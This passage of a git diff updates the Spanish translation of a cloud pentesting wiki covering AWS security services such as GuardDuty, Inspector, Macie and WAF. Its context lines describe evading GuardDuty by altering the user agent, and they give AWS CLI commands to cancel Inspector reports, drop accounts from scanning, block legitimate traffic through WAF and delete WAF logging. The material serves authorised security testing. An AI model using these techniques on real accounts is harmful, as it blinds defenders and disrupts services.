comunes de pruebas d Se detecta por el **nombre del agente de usuario** que se pasa en la solicitud de API.\ Por lo tanto, **modificar el agente de usuario** es posible para evitar que GuardDuty detecte el ataque. -Para prevenir esto, puedes buscar en el script `session.py` en el paquete `botocore` y modificar el agente de usuario, o configurar Burp Suite como el proxy de AWS CLI y cambiar el agente de usuario con el MitM o simplemente usar un sistema operativo como Ubuntu, Mac o Windows que evitará que se active esta alerta. +Para prevenir esto, puedes buscar en el script `session.py` en el paquete `botocore` y modificar el agente de usuario, o configurar Burp Suite como el proxy de AWS CLI y cambiar el agente de usuario con MitM o simplemente usar un sistema operativo como Ubuntu, Mac o Windows que evitará que se active esta alerta. #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index c3de75c95..2694cf70b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,7 +6,7 @@ ### Inspector -Amazon Inspector es un servicio avanzado y automatizado de gestión de vulnerabilidades diseñado para mejorar la seguridad de su entorno AWS. Este servicio escanea continuamente las instancias de Amazon EC2, las imágenes de contenedor en Amazon ECR, Amazon ECS y las funciones de AWS Lambda en busca de vulnerabilidades y exposiciones de red no intencionadas. Al aprovechar una robusta base de datos de inteligencia de vulnerabilidades, Amazon Inspector proporciona hallazgos detallados, incluidos niveles de severidad y recomendaciones de remediación, ayudando a las organizaciones a identificar y abordar proactivamente los riesgos de seguridad. Este enfoque integral asegura una postura de seguridad fortalecida en varios servicios de AWS, ayudando en el cumplimiento y la gestión de riesgos. +Amazon Inspector es un servicio avanzado y automatizado de gestión de vulnerabilidades diseñado para mejorar la seguridad de su entorno AWS. Este servicio escanea continuamente instancias de Amazon EC2, imágenes de contenedores en Amazon ECR, Amazon ECS y funciones de AWS Lambda en busca de vulnerabilidades y exposiciones de red no intencionadas. Al aprovechar una robusta base de datos de inteligencia de vulnerabilidades, Amazon Inspector proporciona hallazgos detallados, incluidos niveles de severidad y recomendaciones de remediación, ayudando a las organizaciones a identificar y abordar proactivamente los riesgos de seguridad. Este enfoque integral asegura una postura de seguridad fortalecida en varios servicios de AWS, ayudando en el cumplimiento y la gestión de riesgos. ### Key elements @@ -16,11 +16,11 @@ Los hallazgos en Amazon Inspector son informes detallados sobre vulnerabilidades - **Active**: El hallazgo no ha sido remediado. - **Closed**: El hallazgo ha sido remediado. -- **Suppressed**: El hallazgo ha sido marcado con este estado debido a una o más **reglas de supresión**. +- **Suppressed**: El hallazgo ha sido marcado con este estado debido a una o más **suppression rules**. Los hallazgos también se clasifican en los siguientes tres tipos: -- **Package**: Estos hallazgos se relacionan con vulnerabilidades en paquetes de software instalados en sus recursos. Ejemplos incluyen bibliotecas desactualizadas o dependencias con problemas de seguridad conocidos. +- **Package**: Estos hallazgos se relacionan con vulnerabilidades en paquetes de software instalados en sus recursos. Ejemplos incluyen bibliotecas obsoletas o dependencias con problemas de seguridad conocidos. - **Code**: Esta categoría incluye vulnerabilidades encontradas en el código de aplicaciones que se ejecutan en sus recursos de AWS. Los problemas comunes son errores de codificación o prácticas inseguras que podrían llevar a brechas de seguridad. - **Network**: Los hallazgos de red identifican exposiciones potenciales en configuraciones de red que podrían ser explotadas por atacantes. Estos incluyen puertos abiertos, protocolos de red inseguros y grupos de seguridad mal configurados. @@ -38,11 +38,11 @@ Un Software Bill of Materials (SBOM) en Amazon Inspector es una lista de inventa Amazon Inspector ofrece la capacidad de exportar hallazgos a Amazon S3 Buckets, Amazon EventBridge y AWS Security Hub, lo que le permite generar informes detallados de vulnerabilidades y exposiciones identificadas para un análisis posterior o compartir en una fecha y hora específicas. Esta función admite varios formatos de salida, como CSV y JSON, lo que facilita la integración con otras herramientas y sistemas. La funcionalidad de exportación permite la personalización de los datos incluidos en los informes, lo que le permite filtrar hallazgos según criterios específicos como severidad, tipo de recurso o rango de fechas e incluir por defecto todos sus hallazgos en la región de AWS actual con un estado Activo. -Al exportar hallazgos, se necesita una clave de Key Management Service (KMS) para cifrar los datos durante la exportación. Las claves KMS aseguran que los hallazgos exportados estén protegidos contra el acceso no autorizado, proporcionando una capa adicional de seguridad para la información sensible sobre vulnerabilidades. +Al exportar hallazgos, se necesita una clave de Key Management Service (KMS) para cifrar los datos durante la exportación. Las claves KMS aseguran que los hallazgos exportados estén protegidos contra accesos no autorizados, proporcionando una capa adicional de seguridad para información sensible sobre vulnerabilidades. #### Amazon EC2 instances scanning -Amazon Inspector ofrece robustas capacidades de escaneo para instancias de Amazon EC2 para detectar vulnerabilidades y problemas de seguridad. Inspector comparó los metadatos extraídos de la instancia de EC2 con reglas de avisos de seguridad para producir vulnerabilidades de paquetes y problemas de accesibilidad de red. Estos escaneos se pueden realizar a través de métodos **basados en agente** o **sin agente**, dependiendo de la configuración de los ajustes de **modo de escaneo** de su cuenta. +Amazon Inspector ofrece robustas capacidades de escaneo para instancias de Amazon EC2 para detectar vulnerabilidades y problemas de seguridad. Inspector comparó los metadatos extraídos de la instancia de EC2 con reglas de avisos de seguridad para producir vulnerabilidades de paquetes y problemas de accesibilidad de red. Estos escaneos se pueden realizar a través de métodos **agent-based** o **agentless**, dependiendo de la configuración de los ajustes de **scan mode** de su cuenta. - **Agent-Based**: Utiliza el agente de AWS Systems Manager (SSM) para realizar escaneos en profundidad. Este método permite una recopilación y análisis de datos exhaustivos directamente desde la instancia. - **Agentless**: Proporciona una alternativa ligera que no requiere la instalación de un agente en la instancia, creando un snapshot de EBS de cada volumen de la instancia de EC2, buscando vulnerabilidades y luego eliminándolo; aprovechando la infraestructura existente de AWS para el escaneo. @@ -52,7 +52,7 @@ El modo de escaneo determina qué método se utilizará para realizar escaneos d - **Agent-Based**: Implica la instalación del agente SSM en instancias de EC2 para una inspección profunda. - **Hybrid Scanning**: Combina métodos basados en agente y sin agente para maximizar la cobertura y minimizar el impacto en el rendimiento. En aquellas instancias de EC2 donde se instala el agente SSM, Inspector realizará un escaneo basado en agente, y para aquellas donde no hay agente SSM, el escaneo realizado será sin agente. -Otra característica importante es la **inspección profunda** para instancias de EC2 Linux. Esta función ofrece un análisis exhaustivo del software y la configuración de las instancias de EC2 Linux, proporcionando evaluaciones detalladas de vulnerabilidades, incluidas vulnerabilidades del sistema operativo, vulnerabilidades de aplicaciones y configuraciones incorrectas, asegurando una evaluación de seguridad integral. Esto se logra a través de la inspección de **rutas personalizadas** y todos sus subdirectorios. Por defecto, Amazon Inspector escaneará lo siguiente, pero cada cuenta miembro puede definir hasta 5 rutas personalizadas más, y cada administrador delegado hasta 10: +Otra característica importante es la **deep inspection** para instancias de EC2 Linux. Esta función ofrece un análisis exhaustivo del software y la configuración de las instancias de EC2 Linux, proporcionando evaluaciones detalladas de vulnerabilidades, incluidas vulnerabilidades del sistema operativo, vulnerabilidades de aplicaciones y configuraciones incorrectas, asegurando una evaluación de seguridad integral. Esto se logra a través de la inspección de **custom paths** y todos sus subdirectorios. Por defecto, Amazon Inspector escaneará lo siguiente, pero cada cuenta miembro puede definir hasta 5 rutas personalizadas más, y cada administrador delegado hasta 10: - `/usr/lib` - `/usr/lib64` @@ -61,9 +61,9 @@ Otra característica importante es la **inspección profunda** para instancias d #### Amazon ECR container images scanning -Amazon Inspector proporciona robustas capacidades de escaneo para imágenes de contenedor de Amazon Elastic Container Registry (ECR), asegurando que las vulnerabilidades de paquetes sean detectadas y gestionadas de manera eficiente. +Amazon Inspector proporciona robustas capacidades de escaneo para imágenes de contenedores de Amazon Elastic Container Registry (ECR), asegurando que las vulnerabilidades de paquetes sean detectadas y gestionadas de manera eficiente. -- **Basic Scanning**: Este es un escaneo rápido y ligero que identifica vulnerabilidades conocidas de paquetes de OS en imágenes de contenedor utilizando un conjunto estándar de reglas del proyecto de código abierto Clair. Con esta configuración de escaneo, sus repositorios serán escaneados al hacer push, o realizando escaneos manuales. +- **Basic Scanning**: Este es un escaneo rápido y ligero que identifica vulnerabilidades conocidas de paquetes de OS en imágenes de contenedores utilizando un conjunto estándar de reglas del proyecto de código abierto Clair. Con esta configuración de escaneo, sus repositorios serán escaneados al hacer push, o realizando escaneos manuales. - **Enhanced Scanning**: Esta opción agrega la función de escaneo continuo además del escaneo al hacer push. El escaneo mejorado profundiza en las capas de cada imagen de contenedor para identificar vulnerabilidades en paquetes de OS y en paquetes de lenguajes de programación con mayor precisión. Analiza tanto la imagen base como cualquier capa adicional, proporcionando una vista integral de los posibles problemas de seguridad. #### Amazon Lambda functions scanning @@ -71,14 +71,14 @@ Amazon Inspector proporciona robustas capacidades de escaneo para imágenes de c Amazon Inspector incluye capacidades de escaneo completas para funciones de AWS Lambda y sus capas, asegurando la seguridad e integridad de las aplicaciones sin servidor. Inspector ofrece dos tipos de escaneo para funciones de Lambda: - **Lambda standard scanning**: Esta función predeterminada identifica vulnerabilidades de software en las dependencias del paquete de aplicación añadidas a su función de Lambda y capas. Por ejemplo, si su función utiliza una versión de una biblioteca como python-jwt con una vulnerabilidad conocida, genera un hallazgo. -- **Lambda code scanning**: Analiza el código de la aplicación personalizada en busca de problemas de seguridad, detectando vulnerabilidades como fallos de inyección, filtraciones de datos, criptografía débil y falta de cifrado. Captura fragmentos de código que destacan las vulnerabilidades detectadas, como credenciales codificadas. Los hallazgos incluyen sugerencias detalladas de remediación y fragmentos de código para solucionar los problemas. +- **Lambda code scanning**: Analiza el código de la aplicación personalizada en busca de problemas de seguridad, detectando vulnerabilidades como fallos de inyección, fugas de datos, criptografía débil y falta de cifrado. Captura fragmentos de código que destacan las vulnerabilidades detectadas, como credenciales codificadas. Los hallazgos incluyen sugerencias detalladas de remediación y fragmentos de código para solucionar los problemas. #### **Center for Internet Security (CIS) scans** Amazon Inspector incluye escaneos de CIS para evaluar los sistemas operativos de las instancias de Amazon EC2 en comparación con las recomendaciones de mejores prácticas del Center for Internet Security (CIS). Estos escaneos aseguran que las configuraciones se adhieran a las bases de seguridad estándar de la industria. - **Configuration**: Los escaneos de CIS evalúan si las configuraciones del sistema cumplen con recomendaciones específicas del CIS Benchmark, con cada verificación vinculada a un ID de verificación y título del CIS. -- **Execution**: Los escaneos se realizan o programan según las etiquetas de las instancias y los horarios definidos. +- **Execution**: Los escaneos se realizan o programan según las etiquetas de instancia y los horarios definidos. - **Results**: Los resultados posteriores al escaneo indican qué verificaciones pasaron, se saltaron o fallaron, proporcionando información sobre la postura de seguridad de cada instancia. ### Enumeration @@ -265,7 +265,7 @@ aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -Un atacante podría cancelar la generación del informe de hallazgos especificado o del informe SBOM, impidiendo que los equipos de seguridad reciban información oportuna sobre vulnerabilidades y la lista de materiales de software (SBOM), retrasando la detección y remediación de problemas de seguridad. +Un atacante podría cancelar la generación del informe de hallazgos especificado o del informe SBOM, impidiendo que los equipos de seguridad reciban información oportuna sobre vulnerabilidades y materiales de software (SBOM), retrasando la detección y remediación de problemas de seguridad. ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id @@ -318,7 +318,7 @@ aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` -- **Impacto Potencial**: Exclusión de cuentas clave de los escaneos de seguridad, lo que permite la explotación no detectada de vulnerabilidades. +- **Impacto Potencial**: Exclusión de cuentas clave de los escaneos de seguridad, permitiendo la explotación no detectada de vulnerabilidades. #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) @@ -352,7 +352,7 @@ Un atacante podría manipular etiquetas en los recursos de AWS Inspector, que so aws inspector2 tag-resource --resource-arn --tags aws inspector2 untag-resource --resource-arn --tag-keys ``` -- **Impacto Potencial**: Ocultamiento de vulnerabilidades, interrupción de informes de cumplimiento, interrupción de la automatización de seguridad y interrupción de la asignación de costos. +- **Impacto Potencial**: Ocultamiento de vulnerabilidades, interrupción de informes de cumplimiento, interrupción de la automatización de seguridad e interrupción de la asignación de costos. ## Referencias diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index 62e30c9c9..ab1d9ead5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,15 +6,15 @@ ## Macie -Amazon Macie se destaca como un servicio diseñado para **detectar, clasificar e identificar datos** automáticamente dentro de una cuenta de AWS. Aprovecha **aprendizaje automático** para monitorear y analizar continuamente los datos, enfocándose principalmente en detectar y alertar sobre actividades inusuales o sospechosas al examinar los **datos de eventos de cloud trail** y los patrones de comportamiento de los usuarios. +Amazon Macie se destaca como un servicio diseñado para **detectar, clasificar e identificar datos** automáticamente dentro de una cuenta de AWS. Aprovecha **aprendizaje automático** para monitorear y analizar continuamente los datos, enfocándose principalmente en detectar y alertar sobre actividades inusuales o sospechosas al examinar los datos de **eventos de cloud trail** y los patrones de comportamiento de los usuarios. Características clave de Amazon Macie: -1. **Revisión Activa de Datos**: Emplea aprendizaje automático para revisar datos activamente a medida que ocurren diversas acciones dentro de la cuenta de AWS. -2. **Detección de Anomalías**: Identifica actividades irregulares o patrones de acceso, generando alertas para mitigar posibles riesgos de exposición de datos. -3. **Monitoreo Continuo**: Monitorea y detecta automáticamente nuevos datos en Amazon S3, empleando aprendizaje automático e inteligencia artificial para adaptarse a los patrones de acceso a los datos a lo largo del tiempo. -4. **Clasificación de Datos con NLP**: Utiliza procesamiento de lenguaje natural (NLP) para clasificar e interpretar diferentes tipos de datos, asignando puntajes de riesgo para priorizar hallazgos. -5. **Monitoreo de Seguridad**: Identifica datos sensibles a la seguridad, incluidos claves API, claves secretas e información personal, ayudando a prevenir filtraciones de datos. +1. **Revisión activa de datos**: Emplea aprendizaje automático para revisar datos activamente a medida que ocurren diversas acciones dentro de la cuenta de AWS. +2. **Detección de anomalías**: Identifica actividades irregulares o patrones de acceso, generando alertas para mitigar posibles riesgos de exposición de datos. +3. **Monitoreo continuo**: Monitorea y detecta automáticamente nuevos datos en Amazon S3, empleando aprendizaje automático e inteligencia artificial para adaptarse a los patrones de acceso a los datos a lo largo del tiempo. +4. **Clasificación de datos con NLP**: Utiliza procesamiento de lenguaje natural (NLP) para clasificar e interpretar diferentes tipos de datos, asignando puntajes de riesgo para priorizar hallazgos. +5. **Monitoreo de seguridad**: Identifica datos sensibles a la seguridad, incluidos claves API, claves secretas e información personal, ayudando a prevenir filtraciones de datos. Amazon Macie es un **servicio regional** y requiere el rol IAM 'AWSMacieServiceCustomerSetupRole' y un AWS CloudTrail habilitado para su funcionalidad. @@ -51,7 +51,7 @@ Los usuarios se clasifican en niveles según el nivel de riesgo de sus llamadas ### Tipos de Identidad -Los tipos de identidad incluyen Root, usuario IAM, Rol Asumido, Usuario Federado, Cuenta AWS y Servicio AWS, indicando la fuente de las solicitudes. +Los tipos de identidad incluyen Root, usuario IAM, Rol Asumido, Usuario Federado, Cuenta de AWS y Servicio de AWS, indicando la fuente de las solicitudes. ### Clasificación de Datos @@ -62,7 +62,7 @@ La clasificación de datos abarca: - Tema: Clasificado por palabras clave dentro de los archivos. - Regex: Clasificado según patrones regex específicos. -El riesgo más alto entre estas categorías determina el nivel de riesgo final del archivo. +El mayor riesgo entre estas categorías determina el nivel de riesgo final del archivo. ### Investigación y Análisis diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index 7d4c14652..6aed72f30 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -6,7 +6,7 @@ **Security Hub** recopila **datos** de seguridad de **todas las cuentas de AWS**, servicios y productos de socios de terceros compatibles y te ayuda a **analizar tus tendencias de seguridad** e identificar los problemas de seguridad de mayor prioridad. -Centraliza **alertas relacionadas con la seguridad a través de cuentas** y proporciona una interfaz de usuario para verlas. La mayor limitación es que **no centraliza alertas entre regiones**, solo entre cuentas. +Centraliza **alertas relacionadas con la seguridad a través de cuentas** y proporciona una interfaz de usuario para ver estas. La mayor limitación es que **no centraliza alertas a través de regiones**, solo a través de cuentas. **Características** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index afb7cf2ac..eb88605f2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -6,9 +6,9 @@ AWS Shield ha sido diseñado para ayudar a **proteger tu infraestructura contra ataques de denegación de servicio distribuidos**, comúnmente conocidos como DDoS. -**AWS Shield Standard** es **gratuito** para todos, y ofrece **protección DDoS** contra algunos de los ataques más comunes de capa tres, la **capa de red**, y capa cuatro, **capa de transporte**, DDoS. Esta protección está integrada tanto con CloudFront como con Route 53. +**AWS Shield Standard** es **gratuito** para todos, y ofrece **protección DDoS** contra algunos de los ataques más comunes de capa tres, la **capa de red**, y capa cuatro, **capa de transporte**. Esta protección está integrada tanto con CloudFront como con Route 53. -**AWS Shield Advanced** ofrece un **mayor nivel de protección** para ataques DDoS en un ámbito más amplio de servicios de AWS por un costo adicional. Este nivel avanzado ofrece protección contra tus aplicaciones web que se ejecutan en EC2, CloudFront, ELB y también Route 53. Además de estos tipos de recursos adicionales que están protegidos, se ofrecen niveles mejorados de protección DDoS en comparación con los de Standard. Y también tendrás **acceso a un equipo especializado de respuesta DDoS disponible las 24 horas del día, los 7 días de la semana en AWS, conocido como DRT**. +**AWS Shield Advanced** ofrece un **mayor nivel de protección** para ataques DDoS en un ámbito más amplio de servicios de AWS por un costo adicional. Este nivel avanzado ofrece protección para tus aplicaciones web que se ejecutan en EC2, CloudFront, ELB y también Route 53. Además de estos tipos de recursos adicionales que están protegidos, se ofrecen niveles mejorados de protección DDoS en comparación con el Standard. Y también tendrás **acceso a un equipo especializado de respuesta DDoS disponible las 24 horas del día, los 7 días de la semana en AWS, conocido como DRT**. Mientras que la versión Standard de Shield ofrecía protección contra la capa tres y la capa cuatro, **Advanced también ofrece protección contra la capa siete, ataques de aplicación.** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index a356533be..fcc52a6c2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -1,29 +1,29 @@ -# AWS - Trusted Advisor Enum +# AWS - Enumeración de Trusted Advisor -## AWS - Trusted Advisor Enum +## AWS - Enumeración de Trusted Advisor {{#include ../../../../banners/hacktricks-training.md}} -## AWS Trusted Advisor Overview +## Visión General de AWS Trusted Advisor -Trusted Advisor es un servicio que **proporciona recomendaciones** para optimizar su cuenta de AWS, alineándose con **las mejores prácticas de AWS**. Es un servicio que opera en múltiples regiones. Trusted Advisor ofrece información en cuatro categorías principales: +Trusted Advisor es un servicio que **proporciona recomendaciones** para optimizar tu cuenta de AWS, alineándose con **las mejores prácticas de AWS**. Es un servicio que opera en múltiples regiones. Trusted Advisor ofrece información en cuatro categorías principales: 1. **Optimización de Costos:** Sugiere cómo reestructurar recursos para reducir gastos. 2. **Rendimiento:** Identifica posibles cuellos de botella en el rendimiento. 3. **Seguridad:** Escanea en busca de vulnerabilidades o configuraciones de seguridad débiles. 4. **Tolerancia a Fallos:** Recomienda prácticas para mejorar la resiliencia del servicio y la tolerancia a fallos. -Las características completas de Trusted Advisor son accesibles exclusivamente con **planes de soporte empresarial o de negocios de AWS**. Sin estos planes, el acceso se limita a **seis verificaciones básicas**, centradas principalmente en rendimiento y seguridad. +Las características completas de Trusted Advisor son accesibles exclusivamente con **planes de soporte empresarial o de negocio de AWS**. Sin estos planes, el acceso se limita a **seis verificaciones básicas**, centradas principalmente en rendimiento y seguridad. -### Notifications and Data Refresh +### Notificaciones y Actualización de Datos - Trusted Advisor puede emitir alertas. - Los elementos pueden ser excluidos de sus verificaciones. - Los datos se actualizan cada 24 horas. Sin embargo, es posible una actualización manual 5 minutos después de la última actualización. -### **Checks Breakdown** +### **Desglose de Verificaciones** -#### CategoriesCore +#### Categorías Básicas 1. Optimización de Costos 2. Seguridad @@ -32,9 +32,9 @@ Las características completas de Trusted Advisor son accesibles exclusivamente 5. Límites de Servicio 6. Permisos de S3 Bucket -#### Core Checks +#### Verificaciones Básicas -Limitado a usuarios sin planes de soporte empresarial o de negocios: +Limitadas a usuarios sin planes de soporte empresarial o de negocio: 1. Grupos de Seguridad - Puertos Específicos Sin Restricciones 2. Uso de IAM @@ -43,13 +43,13 @@ Limitado a usuarios sin planes de soporte empresarial o de negocios: 5. Instantáneas Públicas de RDS 6. Límites de Servicio -#### Security Checks +#### Verificaciones de Seguridad Una lista de verificaciones centradas principalmente en identificar y rectificar amenazas de seguridad: -- Configuraciones de grupo de seguridad para puertos de alto riesgo +- Configuraciones de grupos de seguridad para puertos de alto riesgo - Acceso sin restricciones a grupos de seguridad -- Acceso de escritura/lista abierto a buckets de S3 +- Acceso de escritura/listado abierto a buckets de S3 - MFA habilitado en la cuenta raíz - Permisividad del grupo de seguridad de RDS - Uso de CloudTrail @@ -64,7 +64,7 @@ Una lista de verificaciones centradas principalmente en identificar y rectificar AWS Trusted Advisor actúa como una herramienta crucial para garantizar la optimización, rendimiento, seguridad y tolerancia a fallos de los servicios de AWS basados en las mejores prácticas establecidas. -## **References** +## **Referencias** - [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 359f49487..aae2e528e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -16,7 +16,7 @@ Una Web ACL es una colección de reglas que puedes aplicar a tus aplicaciones we #### Grupo de Reglas -Un Grupo de Reglas es una colección reutilizable de reglas que puedes aplicar a múltiples Web ACLs. Los grupos de reglas ayudan a gestionar y mantener conjuntos de reglas consistentes a través de diferentes aplicaciones web o APIs. +Un Grupo de Reglas es una colección reutilizable de reglas que puedes aplicar a múltiples Web ACLs. Los grupos de reglas ayudan a gestionar y mantener conjuntos de reglas consistentes en diferentes aplicaciones web o APIs. Cada grupo de reglas tiene su **capacidad** asociada, que ayuda a calcular y controlar los recursos operativos que se utilizan para ejecutar tus reglas, grupos de reglas y Web ACLs. Una vez que su valor se establece durante la creación, no es posible modificarlo. @@ -25,7 +25,7 @@ Cada grupo de reglas tiene su **capacidad** asociada, que ayuda a calcular y con Una regla define un conjunto de condiciones que AWS WAF utiliza para inspeccionar las solicitudes web entrantes. Hay dos tipos principales de reglas: 1. **Regla Regular**: Este tipo de regla utiliza condiciones especificadas para determinar si permitir, bloquear o contar las solicitudes web. -2. **Regla Basada en Tasa**: Cuenta las solicitudes de una dirección IP específica durante un período de cinco minutos. Aquí, los usuarios definen un umbral, y si el número de solicitudes de una IP excede este límite dentro de cinco minutos, las solicitudes subsiguientes de esa IP son bloqueadas hasta que la tasa de solicitudes caiga por debajo del umbral. El umbral mínimo para las reglas basadas en tasa es **2000 solicitudes**. +2. **Regla Basada en Tasa**: Cuenta las solicitudes de una dirección IP específica durante un período de cinco minutos. Aquí, los usuarios definen un umbral, y si el número de solicitudes de una IP excede este límite dentro de cinco minutos, las solicitudes subsiguientes de esa IP se bloquean hasta que la tasa de solicitudes caiga por debajo del umbral. El umbral mínimo para las reglas basadas en tasa es de **2000 solicitudes**. #### Reglas Administradas @@ -51,13 +51,13 @@ Las Claves API en AWS WAF se utilizan para autenticar solicitudes a ciertas oper #### Política de Permisos -Una Política de Permisos es una política IAM que especifica quién puede realizar acciones en los recursos de AWS WAF. Al definir permisos, puedes controlar el acceso a los recursos de WAF y asegurar que solo los usuarios autorizados puedan crear, actualizar o eliminar configuraciones. +Una Política de Permisos es una política de IAM que especifica quién puede realizar acciones en los recursos de AWS WAF. Al definir permisos, puedes controlar el acceso a los recursos de WAF y asegurar que solo los usuarios autorizados puedan crear, actualizar o eliminar configuraciones. #### Alcance El parámetro de alcance en AWS WAF especifica si las reglas y configuraciones de WAF se aplican a una aplicación regional o a una distribución de Amazon CloudFront. -- **REGIONAL**: Se aplica a servicios regionales como Balanceadores de Carga de Aplicaciones (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, grupo de usuarios de Amazon Cognito, servicio AWS App Runner y instancia de AWS Verified Access. Especificas la región de AWS donde se encuentran estos recursos. +- **REGIONAL**: Se aplica a servicios regionales como Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, grupo de usuarios de Amazon Cognito, servicio AWS App Runner y instancia de AWS Verified Access. Especificas la región de AWS donde se encuentran estos recursos. - **CLOUDFRONT**: Se aplica a distribuciones de Amazon CloudFront, que son globales. Las configuraciones de WAF para CloudFront se gestionan a través de la región `us-east-1` independientemente de dónde se sirva el contenido. ### Características clave @@ -75,9 +75,9 @@ Cada cuenta de AWS puede configurar: #### Acciones de Regla -Se asignan acciones a cada regla, siendo las opciones: +Se asignan acciones a cada regla, con opciones que son: -- **Permitir**: La solicitud se reenvía a la distribución de CloudFront o al Balanceador de Carga de Aplicaciones correspondiente. +- **Permitir**: La solicitud se reenvía a la distribución de CloudFront o al balanceador de carga de aplicaciones correspondiente. - **Bloquear**: La solicitud se termina inmediatamente. - **Contar**: Cuenta las solicitudes que cumplen con las condiciones de la regla. Esto es útil para probar la regla, confirmando la precisión de la regla antes de configurarla para Permitir o Bloquear. - **CAPTCHA y Desafío:** Se verifica que la solicitud no provenga de un bot utilizando acertijos de CAPTCHA y desafíos silenciosos. @@ -90,14 +90,14 @@ Si una solicitud no coincide con ninguna regla dentro de la Web ACL, se somete a #### Integración con CloudWatch -AWS WAF se integra con CloudWatch para monitoreo, ofreciendo métricas como SolicitudesPermitidas, SolicitudesBloqueadas, SolicitudesContadas y SolicitudesPasadas. Estas métricas se informan cada minuto por defecto y se retienen durante un período de dos semanas. +AWS WAF se integra con CloudWatch para monitoreo, ofreciendo métricas como AllowedRequests, BlockedRequests, CountedRequests y PassedRequests. Estas métricas se informan cada minuto por defecto y se retienen durante un período de dos semanas. ### Enumeración Para interactuar con distribuciones de CloudFront, debes especificar la Región US East (N. Virginia): - CLI - Especifica la Región US East cuando uses el alcance de CloudFront: `--scope CLOUDFRONT --region=us-east-1`. -- API y SDKs - Para todas las llamadas, utiliza el endpoint de la región us-east-1. +- API y SDKs - Para todas las llamadas, usa el endpoint de la región us-east-1. Para interactuar con servicios regionales, debes especificar la región: @@ -259,7 +259,7 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -Los siguientes ejemplos muestran cómo actualizar un Web ACL para bloquear el tráfico legítimo de un conjunto de IP específico. Si la IP de origen no coincide con ninguna de esas IP, la acción predeterminada también sería bloquearlo, causando un DoS. +Los siguientes ejemplos muestran cómo actualizar un Web ACL para bloquear el tráfico legítimo de un conjunto de IP específico. Si la IP de origen no coincide con ninguna de esas IP, la acción predeterminada también sería bloquearla, causando un DoS. **Web ACL original**: ```json @@ -400,7 +400,7 @@ Un atacante con el **`wafv2:DeleteLoggingConfiguration`** podría eliminar la co Durante el proceso de creación, el servicio configura automáticamente los permisos necesarios para permitir que los registros se escriban en el destino de registro especificado: - **Amazon CloudWatch Logs:** AWS WAF crea una política de recursos en el grupo de registros de CloudWatch Logs designado. Esta política asegura que AWS WAF tenga los permisos requeridos para escribir registros en el grupo de registros. -- **Amazon S3 Bucket:** AWS WAF crea una política de bucket en el bucket de S3 designado. Esta política otorga a AWS WAF los permisos necesarios para subir registros al bucket especificado. +- **Amazon S3 Bucket:** AWS WAF crea una política de bucket en el bucket S3 designado. Esta política otorga a AWS WAF los permisos necesarios para subir registros al bucket especificado. - **Amazon Kinesis Data Firehose:** AWS WAF crea un rol vinculado al servicio específicamente para interactuar con Kinesis Data Firehose. Este rol permite a AWS WAF entregar registros al stream de Firehose configurado. > [!NOTE] diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index 1194c18c8..ac35c13a2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -35,7 +35,7 @@ También es posible hacer esto desde la consola web de AWS. ### Enumeración > [!WARNING] -> Tenga en cuenta que SES tiene 2 API: **`ses`** y **`sesv2`**. Algunas acciones están en ambas API y otras están solo en una de las dos. +> Tenga en cuenta que SES tiene 2 APIs: **`ses`** y **`sesv2`**. Algunas acciones están en ambas APIs y otras están solo en una de las dos. 